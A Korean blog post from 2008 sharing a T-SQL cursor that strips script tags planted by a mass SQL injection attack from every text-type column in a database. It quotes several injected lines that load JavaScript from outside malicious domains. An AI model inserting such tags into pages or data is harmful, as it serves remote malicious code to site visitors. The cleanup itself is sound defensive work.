인젝션으로 인한 스크립트 문자열제거 (VARCHAR, CHAR 형) > db

본문 바로가기

db

인젝션으로 인한 스크립트 문자열제거 (VARCHAR, CHAR 형)

페이지 정보

작성자 서방님 댓글 0건 조회 21회 작성일 08-11-03 17:42

본문

인젝션공격 으로 인해서 모든 테이블에 아래와 같은 스크립트들이 입력되어 있는 경우가 있습니다.

 

전체테이블들의 스크립트를 삭제하는 커서를  만들었습니다.

 

 

-- 스크립트의 예
--<script src="http://www.encode72.com/b.js></script>
--<script src="http://www.win496.com/b.js></script>
--<script src="http://www.sslput4.com/b.js></script>
--<script src="http://www.rundll841.com/b.js></script>
--<script src="http://www.advertbnr.com/b.js></script>
--<script src="http://www.siteid38.com/b.js></script>
--<script src="http://www.cookieadw.com/b.js></script>

 

 

declare @name sysname, @id int
declare @sname sysname,@xtype int
declare @sql varchar(1000) , @b_data varchar(1000), @a_data varchar(10)

set @b_data='<script src="http://www.cookieadw.com/b.js></script>'       -- 변경할문자(스크립트)
set @a_data=''''''                                                                                 -- 변경될문자(공백문자)

DECLARE MYCUR CURSOR FOR

-- 사용자테이블
 select name,id from dbo.sysobjects where xtype='U'
     
OPEN  MYCUR
FETCH NEXT FROM MYCUR INTO @name, @id

WHILE (@@FETCH_STATUS = 0)
 BEGIN
  DECLARE subcur CURSOR FOR

  --컬럼 데이터타입이 VARCHAR, CHAR , NVARCHAR, NCHAR 형인것만
   select name,xtype from dbo.syscolumns
   where xtype in (
    167 -- varchar
    ,175 -- char
    ,231 --nvarchar
    ,239 --nchar

    )
    and [email protected]  
   
  OPEN subcur
  FETCH NEXT FROM subcur INTO @sname,@xtype
  WHILE (@@FETCH_STATUS = 0)
   BEGIN 

     -- REPLACE 를 사용한 업데이트 (동적sql)
      set @sql=' update dbo.' + @name + ' set ' + @sname + ' = replace(' + @sname + ',''' + @b_data + ''',' + @a_data +')'
      exec   ( @sql)
   
   FETCH NEXT FROM subcur INTO @sname,@xtype
   END
  CLOSE  subcur
  DEALLOCATE  subcur  
  FETCH NEXT FROM MYCUR INTO @name, @id
 END

CLOSE  MYCUR
DEALLOCATE  MYCUR


출처 : http://cafe.naver.com/sqlmaster/1755

이 SQL 문에서는 컬럼 데이터타입이 VARCHAR, CHAR , NVARCHAR, NCHAR 형인것만 가능합니다.

text 형 은 http://cafe.naver.com/sqlmaster/1756 에서 방법을 적어놓았는데
잘 안되고 불안정합니다..
그 쿼리문을 활용하셔서 변경하여 해보시기 바랍니다.

댓글목록

등록된 댓글이 없습니다.

Total 447건 1 페이지
게시물 검색

회원로그인

접속자집계

오늘
300
어제
446
최대
592
전체
38,818

그누보드5
Copyright © seobangnim.com All rights reserved.
자바스크립트를 활성화 하세요![ 브라우저에서 자바스크립트를 활성화하는 방법 ]